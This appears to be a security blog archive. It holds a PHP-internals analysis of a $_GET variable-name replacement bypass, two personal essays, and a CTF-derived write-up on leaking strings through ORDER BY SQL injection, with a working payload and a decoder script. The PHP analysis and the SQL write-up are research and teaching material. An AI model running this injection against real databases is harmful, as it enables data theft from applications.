} zend_auto_global;
CG(auto_globals)是一个存储zend_auto_globalHashTable,所以这里我们必须先得找到GET,POST等待超全局变量的注册地方。

在apache中注册php_handler的地方还有一个ap_hook_post_config(php_apache_server_startup, NULL, NULL, APR_HOOK_MIDDLE);,其中的调用链如下:

1
php_apache_server_startup()  -> apache2_sapi_module.startup -> php_module_startup -> php_startup_auto_globals
这里需要同学们好好理解一下整个php的生命周期。很容易就找到php_startup_auto_globals
1
2
3
4
5
6
7
8
9
10
void php_startup_auto_globals(void)
{
zend_register_auto_global(zend_string_init_interned("_GET", sizeof("_GET")-1, 1), 0, php_auto_globals_create_get);
zend_register_auto_global(zend_string_init_interned("_POST", sizeof("_POST")-1, 1), 0, php_auto_globals_create_post);
zend_register_auto_global(zend_string_init_interned("_COOKIE", sizeof("_COOKIE")-1, 1), 0, php_auto_globals_create_cookie);
zend_register_auto_global(zend_string_init_interned("_SERVER", sizeof("_SERVER")-1, 1), PG(auto_globals_jit), php_auto_globals_create_server);
zend_register_auto_global(zend_string_init_interned("_ENV", sizeof("_ENV")-1, 1), PG(auto_globals_jit), php_auto_globals_create_env);
zend_register_auto_global(zend_string_init_interned("_REQUEST", sizeof("_REQUEST")-1, 1), PG(auto_globals_jit), php_auto_globals_create_request);
zend_register_auto_global(zend_string_init_interned("_FILES", sizeof("_FILES")-1, 1), 0, php_auto_globals_create_files);
}
这里注册了所有超全局变量的处理的handler,回到上一步,
1
auto_global->armed = auto_global->auto_global_callback(auto_global->name);
通过遍历CG(auto_global)这个HashTable,然后分别调用相关的handler依次处理,这里我们看处理_GEThandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static zend_bool php_auto_globals_create_get(zend_string *name)
{
if (PG(variables_order) && (strchr(PG(variables_order),'G') || strchr(PG(variables_order),'g'))) {
sapi_module.treat_data(PARSE_GET, NULL, NULL);
} else {
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_GET]);
array_init(&PG(http_globals)[TRACK_VARS_GET]);
}

zend_hash_update(&EG(symbol_table), name, &PG(http_globals)[TRACK_VARS_GET]);
Z_ADDREF(PG(http_globals)[TRACK_VARS_GET]);

return 0; /* don't rearm */
}

这里的variables_order是一个ini配置项,指定是否解析相关变量,默认是解析所有超全局变量。这里我们重点看sapi_module.treat_data,看看apache_sapi相对应的处理函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static sapi_module_struct apache2_sapi_module = {
"apache2handler",
"Apache 2.0 Handler",
php_apache2_startup, /* startup */
php_module_shutdown_wrapper, /* shutdown */
NULL, /* activate */
NULL, /* deactivate */
php_apache_sapi_ub_write, /* unbuffered write */
php_apache_sapi_flush, /* flush */
php_apache_sapi_get_stat, /* get uid */
php_apache_sapi_getenv, /* getenv */
php_error, /* error handler */
php_apache_sapi_header_handler, /* header handler */
php_apache_sapi_send_headers, /* send headers handler */
NULL, /* send header handler */
php_apache_sapi_read_post, /* read POST data */
php_apache_sapi_read_cookies, /* read Cookies */
php_apache_sapi_register_variables,
php_apache_sapi_log_message, /* Log message */
php_apache_sapi_get_request_time, /* Request Time */
NULL, /* Child Terminate */
STANDARD_SAPI_MODULE_PROPERTIES
};
treat_dataSTANDARD_SAPI_MODULE_PROPERTIES里面,所以这里我们继续看STANDARD_SAPI_MODULE_PROPERTIES的定义。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define STANDARD_SAPI_MODULE_PROPERTIES \
NULL, /* php_ini_path_override */ \
NULL, /* default_post_reader */ \
NULL, /* treat_data */ \
NULL, /* executable_location */ \
0, /* php_ini_ignore */ \
0, /* php_ini_ignore_cwd */ \
NULL, /* get_fd */ \
NULL, /* force_http_10 */ \
NULL, /* get_target_uid */ \
NULL, /* get_target_gid */ \
NULL, /* input_filter */ \
NULL, /* ini_defaults */ \
0, /* phpinfo_as_text; */ \
NULL, /* ini_entries; */ \
NULL, /* additional_functions */ \
NULL /* input_filter_init */
这里有同学可能又要疑惑了,这里是NULL啊,这里需要回到php_module_startup里面,在php_startup_auto_globals()调用结束后面有一个php_startup_sapi_content_types()的调用过程。这里会注册默认的treat_data给当前的sapi_module
1
2
3
4
5
6
7
int php_startup_sapi_content_types(void)
{
sapi_register_default_post_reader(php_default_post_reader);
sapi_register_treat_data(php_default_treat_data);
sapi_register_input_filter(php_default_input_filter, NULL);
return SUCCESS;
}

0x02 Query具体处理过程

这里看一下默认的treat_data是如何处理的,这个处理函数有点长,我稍微处理压缩一下分支处理,因为这里只关注处理_GET的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
SAPI_API SAPI_TREAT_DATA_FUNC(php_default_treat_data)
{
char *res = NULL, *var, *val, *separator = NULL;
const char *c_var;
zval array;
int free_buffer = 0;
char *strtok_buf = NULL;
zend_long count = 0;
ZVAL_UNDEF(&array);
switch (arg) {
case PARSE_POST:
case PARSE_GET:
case PARSE_COOKIE:
array_init(&array);
switch (arg) {
...
case PARSE_GET:
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_GET]); //初始化array
ZVAL_COPY_VALUE(&PG(http_globals)[TRACK_VARS_GET], &array);
break;
...
}
break;
}
if (arg == PARSE_GET) { /* GET data */
c_var = SG(request_info).query_string; //取请求中的查询参数即?后的部分
if (c_var && *c_var) {
res = (char *) estrdup(c_var);
free_buffer = 1;
} else {
free_buffer = 0;
}
}
...
switch (arg) {
case PARSE_GET:
case PARSE_STRING:
separator = PG(arg_separator).input; // 参数对分割符,这里默认是“&”
break;
}
var = php_strtok_r(res, separator, &strtok_buf);//就是strtok分割函数,依次将&置\0,返回分割的token
while (var) {
val = strchr(var, '='); // 取=字符的位置
...

if (val) { /* have a value */
size_t val_len;
size_t new_val_len;

*val++ = '\0';
php_url_decode(var, strlen(var)); //key urldecode
val_len = php_url_decode(val, strlen(val));//value urldecode
val = estrndup(val, val_len);
if (sapi_module.input_filter(arg, var, &val, val_len, &new_val_len)) {
php_register_variable_safe(var, val, new_val_len, &array);//进入真正注册变量的位置
}
efree(val);
}
...
}
...
}
接着看php_register_variable_safe过程,这里其实进入的是php_register_variable_ex
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
PHPAPI void php_register_variable_ex(char *var_name, zval *val, zval *track_vars_array){
...
while (*var_name==' ') {
var_name++;
}/*去掉参数对中key前面的空格*/

var_len = strlen(var_name);
var = var_orig = do_alloca(var_len + 1, use_heap);
memcpy(var_orig, var_name, var_len + 1);

/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
if (*p == ' ' || *p == '.') {
*p='_';
} else if (*p == '[') {
is_array = 1;
ip = p;
*p = 0;
break;
}
}/*将key中出现空格和点都替换成了下划线*/
...
if (is_array) {
...
while (1) {
...
ip++;
index_s = ip;
if (isspace(*ip)) {
ip++;
}
if (*ip==']') {
index_s = NULL;
} else {
ip = strchr(ip, ']');
if (!ip) {
*(index_s - 1) = '_';
....

} //这里是匹配参数key是数组的形式,如果[]不匹配,则会把先前的[的重新置为下划线。
....
此处就是本文最重点的地方,可以看到key=value,当key前面有空格,先去掉空格,如果key中包含空格和点,不匹配的方括号,都会变为_,还有关于前面引文中出现的%00问题,在urldecode的时候就引入\0,后在计算index的时候就被截断了。
1
2
3
if (index) {
index_len = strlen(index);
}
关于替换这一步官方有一句注释
1
/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
非二进制安全,为什么这里是非二进制安全呢?导致二进制安全出问题地方,可能在于截断或者对特殊字符的解析问题,通过查了相关资料,这里是为了应对register_globals,保证变量名不会因为非法字符而导致注册失败。但是register_globals在5.4.0就被遗弃了,为什么我这里PHP 7.4.0alpha3,依然存在呢?有点意思。

随后我想到了extract它的功能和register_globals 差不多相似,都是用来注册变量。但是extract里面对变量名有严格的检验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static zend_always_inline int php_valid_var_name(const char *var_name, size_t var_name_len) /* {{{ */
{
if (var_name[0] != '_' &&
(ch < 65 /* A */ || /* Z */ ch > 90) &&
(ch < 97 /* a */ || /* z */ ch > 122) &&
(ch < 127 /* 0x7f */ || /* 0xff */ ch > 255)
) {
return 0
} //开头字母 [a-zA-Z_\x7f-\xff]
...
do {
if (var_name[i] != '_' &&
(ch < 48 /* 0 */ || /* 9 */ ch > 57) &&
(ch < 65 /* A */ || /* Z */ ch > 90) &&
(ch < 97 /* a */ || /* z */ ch > 122) &&
(ch < 127 /* 0x7f */ || /* 0xff */ ch > 255)
) {

return 0;
}
} while (++i < var_name_len); // [a-zA-Z0-9_\x7f-\xff]
是否官方会考虑到很多应用可能会出现 extract($_GET)这样的情况,但这里有一个比较有意思的情况。如果请求参数是下面这种情况
1
maple[ . [=amazing  =>  maple_ .[=amazing
这样会绕过上面的替换过程,因为遇到[,就会直接退出当前循环,以导致后面的数据不会被处理,这里同样引进了空格和点,我不懂这里依然做替换的意义是什么?为什么其他特殊字符并没有替换?看起来确实比较混乱,才导致了bypass,这可能是php的一个历史遗留问题至今也没有解决。希望php官方能给出一个比较合理的解决方式。

一场旅行

国庆回家成了最大的期盼,回家最想做的事大概是吃各种好吃的,满足在外面一直心心念念的东西,和最好的发小在一起吃顿饭,喝一场无所顾忌的酒,在家乡到处走走,看看是否还是那个记忆的家乡吗?

上大学的时候,就有一句话,让我影响深刻,从此家乡再无春秋,是啊一年也就暑假和寒假回去,上班以后也许家乡只有那短短的春节,从此连夏天也消失的无影无踪,就这样看着它从手中溜走,却无能为力。

一个人在外面久了,我发现很容易被感动,前几天车骑到半路,由于剧烈的颠簸,车链子掉了,只好推回家了,但是那天的天边是淡淡的紫红色,很美。但是还是比不上我在大学那座桥上看见的淡蓝色的傍晚。

推到小区门口,看见了那个熟悉大妈依旧在推着小车卖着手抓饼和烤冷面,好长时间没吃了,加上推车回家天都黑了,也不想再做饭了,大妈看见我来了,笑嘻嘻的很高兴,还是像往常一样点了我最爱的套餐,一个手抓饼和一碗烤冷面,大妈的手法很利索,很快就做好了,拿着做好的美食要走的时候,大妈突然用方言说话了,由于我带着耳机,我没听清,我摘掉耳机又听大妈说了一遍,大概的意思是小伙子你应该有很长时间没来了,我笑着说是啊,大妈接着说虽然你这么长时间不来,我还是记得你,你喜欢吃的是手抓饼加大肠,烤冷面是加小肠,我那一刻没有说话,只是傻傻笑着,一遍笑着回头一遍推着车走远了…

生活里面总有不期而遇的温暖,一不小心就可能被你碰上,此刻还在火车上,身旁是坐在座位中间走道上的一个汉子,他睡着了,头靠在我的手臂上,我一直没有动,我看的出来他很累。他不是一个人身旁应该是他的妻子,妻子靠在汉子的身上睡着了,很安静。不忍心去打扰到他们,火车走道上密密麻麻都是人,这种感觉很奇妙。由于担心火车上无聊,上车前去打印了一篇paper,以至于让自己不会那么无聊,很有意思的paper,原来一个linux kernel的exp要写出来是那么的复杂而精妙,在北京西站等车的时候,由于来的太早了,就在地下大厅找个没人的空地做了下来,拿出paper研究了起来,大厅人来人往,似乎也与我关系不大,上了车。就在前不久终于看完paper 弄了所以然。这种在嘈杂的环境里面,做自己喜欢的事,这种感觉真的很好。

火车上人来人往,充斥着人气儿,每个人都能找到自己的位置,然后期待着那个远方,或许是回家,或许是换个城市工作,或许是去找自己喜欢的事…

凌晨2点火车,很安静,只有火车运行的声音,偶尔会迎面驶来另外一趟火车。也许它承载着那些人去往一个叫目的地的地方。

我此刻最想做的事是下火车以后 坐上那趟熟悉长途客车,因为在这趟车上,我可以放心的睡去,因为我知道它的终点是叫做家的位置,到了终点即是你睡过头了,也会有人叫醒你,而且你永远也不会做过头。

也许我不能坐这趟车了,我妈叫我舅来接我回家,就想北京4号线的菜市口 每次经过那个地方时候 我知道我要回家了 那是家的方向。

这趟回家的旅程 是肯定要回的,记得匆匆过完元宵就离开了家乡,就直接来到了北京,都得真的很匆忙,去决定去哪里工作,短短几天就通知面试。想想还是很幸运,一切都很幸运。

这趟旅途,也是很匆忙,但是要做的几件事还是必须要做的。如果偏要给一次旅途加一个意义和目的,我想,那它就叫常回家看看吧。

七月记

忘了什么时候开始 到清晨才能入睡 也忘了什么叫做结尾 又有谁在乎呢 凌晨三点的窗前 播放着那段时光 有一个骄傲的少年 隐藏他地青春 嗯……

今天离正式毕业已经快半个月了吧,其实之前有好多话想写下来,太忙也不愿把时间放在这个上面,但是总是集着也不是一个合理的方式,我想还是应该写下某个突然的想法或者感悟或思念,要不转瞬又忘了。

毕业之前想着快点毕业,毕业之后能有更多的时间干自己的事,确实现在也是这样,现在生活真的很简单,上班,睡觉 , 学习,做饭。 除了这四件事好像也没有什么其他事了,简单到极致,没有其他东西值得可列出来的。关于做饭,其实我很喜欢,但有时候可能也会因为兴致的原因,草草了事。有人问我,为什么要这么麻烦自己做饭呢,我说这是一种生活态度,一种值得乐道的事,就像我很喜欢看的一档美国美食节目masterchef里面戈登说的那样“Cooking for your life”,当你在思考今天该吃什么,明天又该吃什么的时候,其实你已经在慢慢的融入周遭的环境,是那么的优雅而和谐。我喜欢masterchef里面每一个选手做的菜,精致和colorful,永远是我的第一眼印象,这和我们中国人的料理不一样来的猛烈,去的洒脱。它是一种宛转悠扬,是一种对生活品质的追求。说到这里,其实我从小就生活在一个爹妈都是厨师的家庭里,别人都羡慕我爹妈的菜,而我似乎却不以为然。可能是从小到大吃腻了吧,但是出门在外,以前半年回一次家,现在可能一年回一次,还是很想念那碗豆腐干炒肉,天底下没有哪碗菜能比的上它在我心底。我很怕回家,因为每次回家给我最大的感受就是他们又变老了,婆婆离开已经半年多了,大学4年每次回来都能感受婆婆老了太多,真的太多太多了,爹妈都很忙,婆婆陪我的时候很多,婆婆走的时候我其实当时不知道是什么心情,那天12点多,是我亲自点燃那条鞭,在鞭声我很想哭,但我哭不出来,后来我才慢慢体会那句话“其实一个人走的时候,当时你可能没有太强烈的情绪,但是很多年以后当你突然想起这个人的时候,眼泪也不觉的流了下来。”,在后来的日子我终于明白了,可是那个给我买鸡腿的婆婆再也回不来了。

做饭是一种最能减缓日子变快的方式,在这简单的日子能找到一种特殊的闲暇,偶尔研究如何做饭,偶尔思念那些人,也许这就是做饭的意义吧。

工作遇到了很多人,很幸运这些人他们都很好,帮助了我许多,帮我快速的融入职场,心底谢谢那些帮助过我的人,我很喜欢我现在的工作,曾经我去过一家安全公司实习,总监组织开了一场会, 其中问到如何看待“碎片化学习”,总监表达了自己的建议,对碎片化学习很鄙夷,视乎不太赞同,我在一旁只安静的待在,思考着,也不曾说话,我心中的想法是总监不懂安全,不懂那些安全爱好者的经历,或许他忘了原来的自己。每个人是如何接触到信安的,都有自己的经历的,是多彩的,但是故事的开头一定是它吸引了你,它很迷人,我们每个人都是靠着有限的知识去接触更大的知识面,是这些零碎的知识带给了我们兴趣,让我们有机会去探寻,没有一个地方,我能学到完整的信安知识,靠的是自己的一点一点的收集的知识,快速建立自己的基础,如何去爬更高的地方,知识来源于碎片,碎片拼凑的是庞大的体系,我们每一个人,都能在其中找到自己的热爱的,擅长的地方。我有时候在想,信安的攻防是分不开的,但没人去叫你如何功,没有功哪来的防,未来是否有一个地方,是信安的圣地,让更多的年轻人能接触到信安的面纱,拭目以待。毕业的时候,一本一本最后带不走只能当废纸卖了的专业书,其实我想捐给那些山区的孩子,奈何没有途径,我想是否在遥远的某个地方。如果有一个从未接触过电脑的孩子,拿到一本关于电脑的书,他是否会惊奇不已?当他长大以后,接触到更广阔的时间,他不再是那个别人眼里什么都不懂的乡下孩子,如果这些书能带给那些孩子兴趣,打开一扇门,是否将来会有更多的计算机人才在这批孩子里面诞生呢?相比现在城里的孩子,3-4岁就开始接触各种电子产品。山里的孩子没有这种机会,我想给他们做点什么,未来等我经济稳定了,我会亲自去给那些山里的孩子送去关于计算机的书,希望能给他们打开一扇门,虽然做的不多。希望这个世界上所有的孩子,都能去追逐自己的梦想,无论条件如何,活在当下,期待未来,快乐的过好每一天。:)

再谈谈学习,其实无时无刻都在学习,信安之路真的好长啊,什么时候能和那些人并肩呢,我常常问我自己这个问题,很庆幸是,无论何时,我都没有消极心态,都在积极的吸收消化知识,只为变的更强,这很重要,常常很晚才睡,但每天7点必须起床,我现在需要把那些我丢掉的日子补回来,所以得倍加努力。在孤单独自一人的生活里,不停的向上奋力生长,是一种乐趣, 是一种状态。让日子变的纯粹,变的简单。真的很期待未来我能成长成什么样子,会不会是个顶级的hacker呢,我想不是顶级也应该不会太差吧。关于学习,总结 自律,兴趣,探索欲,谦虚这四个词,是我这一阶段遵循的东西。

我很喜欢记录风景,无论是天上的云,晚霞,雨,花草心动时都一一记录。曾经龙应台也问过自己,真正能看懂这世界的,竟然是那小小一台相机吗?不是自己的眼睛、自己的心?,她引用了一句王明阳的话:”你未看此花时,此花与汝同归于寂;你既来看此花,则此花颜色一时明白起来,便知此花不在你心外”,当心不在此花身上,此花并无特别之处。心无无物,世间的万般风景不觉依然在你心上,那刹那惊艳的风景,在你惊呼的时候,其实早已经进入了你的心里。同样的一朵花,每个人看见东西都不一样的,得到的东西也不一样。再难以割舍的东西,要学会把心慢慢抚平,学会放下。一定要记住心外无物!

2019-07-08 23:42:12 七月八,北京,阴雨连绵,maple

ordey-by-leak-of-sql-injection

前言

前些日子在看google-2019-ctf的时候,看到一道关于Order by注入点的题,觉得很有趣。第一次考虑如何通过一次SQL查询,尽可能得到更多有用的信息。

进入正题考虑下面的情况

1
2
3
4
5
$db = new mysqli(null, $dbuser, $dbpass, $dbname, null, $socket);
$inject = $db->escape_string($_GET['order']);
$sql = "select * from user order by $inject";
$result = $db->query($sql);
show_fileds($result); // 讲查询结果按顺序打印出来

这个时候注入点在order by 后面,order by 后面是不能带union select,而且此处也是不存在报错注入的。唯一显示是通过该处查询得到的user表的所有内容。每次输出的唯一差异性在于每行查询数据的排列顺序,是否可以通过不同的排列顺序去间接的泄露一些信息呢?答案是肯定的。

如果有n条查询结果,那么就有n!种不同的排列顺序,这就是有n个球和n个盒子的问题,如何把n个球放到这n个盒子里面,每个盒子只能放一个球,其实也就是排列数公式 (n!/(n-m)!)中m=n的特殊情况即全排列。我们如何去使用这n!种情况呢?这就是本文问题所在。

字符串转换成整数

通常SQL注入的情况下,我们需要得到的信息都是字符串,所以很多情况下都是去猜解这个字符串。在只通过一次查询的情况去猜解更多位的字符串是我们的目标。所以我们需要把我们猜解的结果以查询结果排序的顺序间接的显示出来。需要首先考虑猜解范围集合和排列数集合大小关系。

例如需要猜解的字符串单个字符在 "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" 36位字符集合里面,若是长度为n的字符串,那么猜解的范围就为36**n,若当前user表包含9条数据,那么排列数的大小为9!,则能表示的位数为log36(9!)=3.572417978,所以一次查询能完全正确猜解的位数为3,那么在n位的字符串里面可以截取3位,这36位字符集合正好是mysql里面36进制用到的字符,所以可以进行conv(substr(@secert,1,3),36,10),这里的@secert表示需要猜解的字符串。如果conv无法使用,你可以自己做一个简单的转换(ord(c)-22)%43"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"的ASCII映射到[0,35]上,然后再分别乘上对36**r,r表示字符对应的36进制的位数,这样做需要在脚本解码的时候也用同样的映射算法。

这里我们已经可以把分割字符串转化10进制的整数值。整数值的大小应该是在排列数的范围之类。接着就是如何把整数值转换成排列值。

数字到排序的Encode 和 Decode

这个地方可以理解为给出了一个字符串 和 整数n,输出这个字符串的第n个全排列。这里的字符串相当于这里user表里每行数据为单元的集合,整数n就是前面分割得到字符转化为的整数值。这里介绍两种计算全排列的方法。

0x1 rand()

order by后面使用rand(), 是可以用来输出每次查询都是不同顺序的数据行。例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
MariaDB [test]> select * from maple;
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-14 | L4CY1JMRBEAW |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-27 | 31OSKU57KV49 |
+------------+--------------+

MariaDB [test]> select * from maple order by rand();
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+

MariaDB [test]> select * from maple order by rand();
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-14 | L4CY1JMRBEAW |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-10 | OQQRH90KDJH1 |
+------------+--------------+
9 rows in set (0.001 sec)
可以看到每次输出的顺序是不同的,再来看一下固定的随机种子rand(1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
MariaDB [test]> select * from maple order by rand(1);
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+
9 rows in set (0.001 sec)

MariaDB [test]> select * from maple order by rand(1);
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+
9 rows in set (0.001 sec)
固定随机种子,固定输出一种排列顺序。所以在这里可以用 rand(conv(substr(@secert,1,3),36,10)),但在此之前,我们需要维护一张关于rand([0,n!-1])的映射表,这个工作可以在本地完成,然后通过遍历映射表还原字符串。使用rand()相当于需要自己去额外维护一张全排列的表,下面再介绍一种方法把全排列算法放在查询语句中。

0x2 Index of row

如何把计算全排列的算法放在查询语句里面呢?首先我们先尝试给每一行数据添加一个index序号,添加序号的方法又可以分为两种,如下:

1
2
set @row = 0;
select *,@row:=@row+1 from user;
额外定义一个SQL变量用来表示每次查询的行号。同样也根据每行数据的特征来表示行号,如若表的结构如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+
我们也可以用find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))这样的方式来表示。再来仔细理解一下order by是怎么工作的。
1
2
3
4
5
6
7
MariaDB [test]> explain select * from maple order by 1;
+------+-------------+-------+------+---------------+------+---------+------+------+----------------+
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+------+-------------+-------+------+---------------+------+---------+------+------+----------------+
| 1 | SIMPLE | maple | ALL | NULL | NULL | NULL | NULL | 8 | Using filesort |
+------+-------------+-------+------+---------------+------+---------+------+------+----------------+
1 row in set (0.000 sec)
可以注意到出现了filesort,在使用这种排序的时候首先从表里读取所有满足条件的行,即order by用到的列值,然后再根据每列order by 后表达式计算的值,进行一次quicksort。目标在排序之前拿到从表里读到的数据列的顺序都是固定的,即select * from user

这里表的结构里面有9列,所以要把拿到的整数值转化成个9权重值分给每一列,再进行快速排列。前面说到的整数n应该在[0,9!)之间。所以我们可以通过除法和模运算来转化。

1
2
3
4
5
6
7
8
9
10
$n = $d9 * 9 + $r9 // r9 in [0 ,8]
$d9 = $d8 * 8 + $r8 // r8 in [0 ,7]
$d8 = $d7 * 7 + $r7 // r7 in [0 ,6]
$d7 = $d6 * 6 + $r6 // r6 in [0 ,5]
$d6 = $d5 * 5 + $r5 // r5 in [0 ,4]
$d5 = $d4 * 4 + $r4 // r4 in [0 ,3]
$d4 = $d3 * 3 + $r3 // r3 in [0 ,2]
$d3 = $d2 * 2 + $r2 // r2 in [0 ,2]
$r2 = $d1 * 1 + $r1 //
$r1 = 0
得到[$r9 ,$r8 ,$r7 ,$r6 ,$r5 ,$r4 ,$r3 ,$r2 ,$r1],如6666会被转化成[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0],再根据这个集合转化成[0,1,2,3,4,5,6,7,8]赋给每一列,如何转化呢?

首先定义@l: = "012345678"表示权重tokens,再把[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0] + 1当做下标,去截@l里面的字符。每次截取之后就把截取出来的字符从@l里面去掉,最后生成了[6 , 4 ,1 ,2 ,5 ,0 ,3 ,7 ,8],按照顺序再赋值给每一列order by返回值,生成排序结果。以上部分相当于是Encode的部分,把整数值n转化成对应全排列。用SQL语句来表示为:

1
2
3
4
5
6
7
8
9
select * 
from maple
order by
(select concat(
(select 1 from(select @l:=0x303132333435363738,@r:=9,@b:=66)x),//0x303132333435363738 ==012345678”因为过滤了单引号
substr(@l,1+mod(@b,@r),1),
@l:=concat(substr(@l,1,mod(@b,@r)),
substr(@l,2+mod(@b,@r))),
@b:=@b div @r,@r:=@r-1));
可以看到这里order by 后面表达式返回的是concat拼接的一长串值,不是简单的"012345678"里面的某个单字符。这里其实不影响,mysql里面字符串进行比较的时候,是按位比较的,这里第一位都是1不影响,紧接着就是每一列真正的权重值。

前面说到find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))这种输出行号的方法,在这里其实也是可以用到的。可以通过嵌套的select,先用一个select 得到[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0]除法和模运算得到的序列,再用一次select得到[6 , 4 ,1 ,2 ,5 ,0 ,3 ,7 ,8]权重值序列,再通过find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))依次去取前面得到的权重值数组里面的值。相对来说还是第一种方法较为简单。

解码过程就是把排列顺序还原成整数n,再将整数n还原字符串,第二步较为简单。第一步的操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function cal(str){

a = "012345678"
offsets = [];
while(str.length>0){
chr=str.substr(0,1)
str=str.substr(1)
offset = a.indexOf(chr)
offsets.push(offset);
a = a.substr(0,offset)+a.substr(offset+1);

}
len = offsets.length
num = 0
cx = 1
while(len>0){

num = num*cx+offsets[len-1]
cx++;
len--;
}
//console.log(cx);
console.log(num);
}

可把得到的排序序列的字符串转换成整数n,Decode算法按照Encode 的算法来写就行。

总结

SQL注入在原印象中都是利用页面的差异一位一位的猜解,在此处order by可以尽可能多的猜解多位,对于长字符串你需要根据表中数据列的多少进行分割再依次进行猜解,这个地方需要注意的是,我看到有的地方对于长字符串可以压缩之后再进行猜解,length(compress(@string)) < length(@string) 字符串长度在90左右时候成立,但是在这个地方,是否也可以将字符串进行压缩呢?我认为并不是一个明智的选择,压缩之后会引入新的字符,可能会减少字符串的长度,但一定会增加猜解的范围。其实关于用SQL生成全排列的算法远不止上面几种,有兴趣的朋友可以自己再琢磨琢磨。

玩转php的编译与执行

0x00 写在开头

曾几何时php一不小心闯入了我生活,php语法竟然和C语言那么莫名的相似,这是最初php给我的感受,当接触的php时间越来越多的时候,php也没有那般生涩难懂,但是偶尔一些的新的php 设计思想,也会思考许久,不知是从什么时候开始了php另一个世界。我想应该是从那次的类型转换开始的,"1e12"字符串类型在转化为数字类型变量时,不同的php版本下转换结果截然不同,有的就变成了数字1,有的却可以正常的识别为科学计数法10^12,在这个地方就已经悄悄的埋下了一枚种子。

到后来的使用php://filter/string.strip_tags/resource包含文件时为什么会出现SegmentFault,在HCTF2017上初识orange带来phar的metadata反序列化0day,溯源使用imap_open到底是如何绕过disable_function限制的,在WP5.0 RCE中mkdir的差异,到今年四月份在twitter看见的chdir 配合ini_set绕过open_basedir的限制。echoeval 语法结构的分析,create_function的代码注入,各种各样的PHP内部的hook,php扩展的编写,到最近的SG的zend扩展加密....

